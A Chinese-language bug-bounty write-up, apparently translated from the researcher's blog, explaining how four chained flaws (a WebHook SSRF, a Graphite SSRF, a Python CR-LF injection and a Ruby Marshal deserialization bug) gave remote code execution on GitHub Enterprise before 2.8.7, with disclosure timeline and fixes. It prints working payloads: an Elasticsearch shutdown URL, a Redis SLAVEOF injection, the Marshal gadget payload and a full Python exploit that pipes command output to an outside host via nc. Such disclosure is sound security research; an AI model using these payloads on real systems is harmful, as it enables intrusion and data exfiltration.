挖洞经验 | 看我如何综合利用4个漏洞实现GitHub Enterprise 远程代码执行

大家好,距离上次漏洞披露已有半年之余,在这篇文章中,我将向大家展示如何通过4个漏洞完美实现GitHub Enterprise的RCE执行,该RCE实现方法与服务器端请求伪造技术(SSRF)相关,技术稍显过时但综合利用威力强大。最终,该RCE漏洞被GitHub官方认定为3周年众测项目的最佳漏洞,我也因此获得了$12500美元赏金。

在我今年受邀参加的BlackHat大会演讲PPT中,有更多关于SSRF技术的深度剖析,请大家捧场观看《A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages》!这也是我第一次在这般高大上场合的英文演讲,非常难忘!下面我们言归正传,一起来说说这个GitHub Enterprise企业版RCE漏洞的实现方法:

说明

在我上一次对GitHub Enterprise SQL注入漏洞的发现中,曾提及利用Ruby代码破解GitHub混淆保护机制和发现SQL注入漏洞的方法,之后,就有一些优秀的漏洞挖掘者及时关注GitHub Enterprise并发现了多个上等漏洞,如:

The road to your codebase is paved with forged assertions by ilektrojohn

GitHub Enterprise Remote Code Execution by iblue

我表示后悔沮丧,为什么我就发现不了呢!?所以,接下来我打算努力去挖掘那些别人想像不到的高危漏洞。

挖洞开始

第1个漏洞 – 表面无用的SSRF漏洞

在研究GitHub Enterprise程序时,我发现了一个名为WebHook的有趣功能,它能在某些特定GIT命令执行时自定义HTTP回调。如你可定义如下回调URL:

https://<host>/<user>/<repo>/settings/hooks/new

并通过提交文件触发执行它,对此,GitHub Enterprise会利用一个HTTP请求提示你。实际的Payload和执行请求如下:

Payload URL:

http://orange.tw/foo.php

回调请求(Callback Request):

POST /foo.php HTTP/1.1 Host: orange.tw Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=... 

另外,由于GitHub Enterprise使用Ruby Gem的faraday库来获取外部资源,并通过Gem的faraday-restrict-ip-addresses功能来防止用户请求内部服务。这个Gem功能就像一个黑名单机制,但我们可以通过RFC 3986定义的稀有IP地址格式(Rare IP Address Formats)来绕过它,想想,在Linux系统中,0代表的是localhost,所以有以下PoC:

http://0/

OK,现在我们的一个SSRF漏洞成型了,但却发挥不了作用,为什么呢?这是因为该SSRF漏洞存在以下几方面限制:

只支持POST方法

只允许HTTP和HTTPS方式

不产生302重定向

faraday中不存在CR-LF命令注入

无法对POST数据和HTTP头信息进行控制

我们唯一能控制的就是其中的Path(路径)部分。但值得一提的是,该SSRF漏洞可导致拒绝服务攻击(DoS)。

由于GitHub Enterprise的9200端口为绑定了一个ElasticSearch搜索服务,当使用关机命令时,该ElasticSearch服务不会对POST数据进行检查,因此,我们可随意对它的REST-ful API接口进行操作,可有如下DoS的PoC:

http://0:9200/_shutdown/

第2个漏洞 – 内部Graphite服务的SSRF

第1个SSRF漏洞利用存在诸多限制,所以我继续测试其内部服务看是否能为我所用。这还真是个大工程,因为其中包含了数种HTTP服务,每种服务都由C、C++、Go、Python和Ruby分别实现。在经过数天的研究之后,我发现其中一个8000端口名为Graphite的服务,该服务负责高度扩展地向用户实时显示系统当前状态,其为Python编写的开源项目(可点此下载源码)。

在对Graphite源码的分析后,我又快速发现了另外一个SSRF漏洞,它存在于以下文件

webapps/graphite/composer/views.py

def send_email(request):     try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ... 

从上述代码可以看到,Graphite服务会接收用户输入的url地址然后对该地址进行获取利用!所以,这样的话,我们就可以利用第1个SSRF漏洞来触发这第2个SSRF漏洞,最后还可将这两个漏洞组合成一个SSRF执行链。合成的SSRF执行链Payload如下:

http://0:8000/composer/send_email? to=orange@nogg&
url=http://orange.tw:12345/foo 

第二个SSRF漏洞的请求:

$ nc -vvlp 12345 ...
GET /foo HTTP/1.1 Host: orange.tw:12345 Accept-Encoding: identity 

OK,现在我们已经成功地将基于POST的SSRF漏洞改造成了基于GET的SSRF漏洞了。但仍然不能直接实现有效的漏洞利用,再挖挖看!

第3个漏洞 – Python语言的CR-LF命令注入

可以从Graphite源码中看到,Graphite使用Python的httplib.HTTPConnection方法来获取外部资源。在经过一些研究测试后,我发现httplib.HTTPConnection方法中竟存在一个CR-LF命令注入漏洞!这样的话,我们就可以在HTTP协议中嵌入恶意Payload了。

CR-LF注入PoC:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo
:
$ nc -vvlp 12345 ...
GET /
i_am_payload Foo: HTTP/1.1 Host: 127.0.0.1:12345 Accept-Encoding: identity 

该注入漏洞在整个漏洞利用链中发挥的作用非常关键。现在,我就可以在这个SSRF漏洞执行链中引入其他协议了,比如,如果想拿Redis下手,可以尝试使用下列Payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A 

说明:由于Redis的SLAVEOF命令可以允许执行带外数据,所以,这对某些Blind-SSRF实现非常有效。

现在漏洞利用思路已经柳暗花明,但一些可引入协议还存在问题,如:

SSH、MySQL和SSL协议会失效

由于Python2版本原因,第2个SSRF漏洞所使用的Payload只允许0×00到0x8F的字节数据通过

顺便提下,还有很多利用HTTP引入协议的利用方法,如基于Linux Glibc功能的SSL SNI引入协议,以及CVE-2016-5699的Python标注头注入等,具体参看我的BlackHat演讲PPT

第4个漏洞 – 封装模块存在反序列化漏洞

现在的问题是,我该选择哪个协议进行引入呢?另外,我还花费了大把时间来测试控制Redis或Memcached之后可以触发的漏洞。

在对大量源码的分析过程中,我对GitHub在Memcached中存储Ruby对象的机制觉得好奇,一番研究后发现,GitHub Enterprise使用Ruby Gem的Memcached方式来处理缓存,而其通过Marshal模块进行封装。这下好了,大家知道Marshal模块本来就不安全且存在反序列化漏洞(点此参考)。更上一层楼了!我们可以使用前述的SSRF漏洞执行链来把恶意Ruby对象存储在Memcached中,当GitHub要获取缓存时,Ruby Gem memcached就会自动执行反序列化操作,这种效果就会是:哇,远程代码执行!

GitHub Enterprise Rails控制端中存在反序列化漏洞的Marshal:

irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi" irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET" irb(main):005:0> code = "`id`" => "`id`" irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult" => "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult" irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n" 

回过头来,我们总结梳理一下整个漏洞利用过程:

第1个SSRF漏洞,用来绕过WebHook的保护机制

第2个SSRF漏洞,存在于Graphite服务中

结合第1个和第2个SSRF漏洞,组成SSRF漏洞执行链

发现SSRF执行链中的CR-LF命令注入漏洞

利用Memcached方式的Marshal反序列化漏洞,注入恶意Marshal对象

触发远程代码执行

最终PoC如下:

挖洞经验 | 看我如何综合利用4个漏洞实现GitHub Enterprise 远程代码执行

视频演示:http://v.youku.com/v_show/id_XMjkzNzM3NjA1Ng==.html

Exploit代码

#!/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
''' marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult' payload = [
    '',
    'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
    marshal_code,
    '',
    '' ]
payload = map(quote, payload)
url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/' print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org" print '-'*10 + '\n' print url + '%0D%0A'.join(payload) print '''
Inserting WebHooks from:

https://ghe-server/:user/:repo/settings/hooks

Triggering RCE from:

https://ghe-server/search?q=ggggg&type=Repositories

''' 

修复措施

GitHub采取了以下修复措施:

增强了Gem的faraday-restrict-ip-addresses功能

采用了自定义Django中间件来防止攻击者从外部访问http://127.0.0.1:8000/render/

加强iptables规则,限制User-Agent: GitHub-Hookshot访问模式

漏洞报送进程

2017年01月23日23:22    通过HackerOne平台将漏洞上报GitHub

2017年01月23日23:37    GitHub进行漏洞分类

2017年01月24日04:43    GitHub确认漏洞,并回应正在修复

2017年01月31日14:01    更新版本的GitHub Enterprise 2.8.7发布

2017年02月01日01:02    GitHub回复称漏洞成功修复

2017年02月01日01:02    收到GitHub奖励的$7500刀漏洞赏金

2017年03月15日02:38    GitHub认定该漏洞为年度最佳漏洞,并再次向我奖励了$5000刀

*参考来源:orange.tw,freebuf小编clouds编译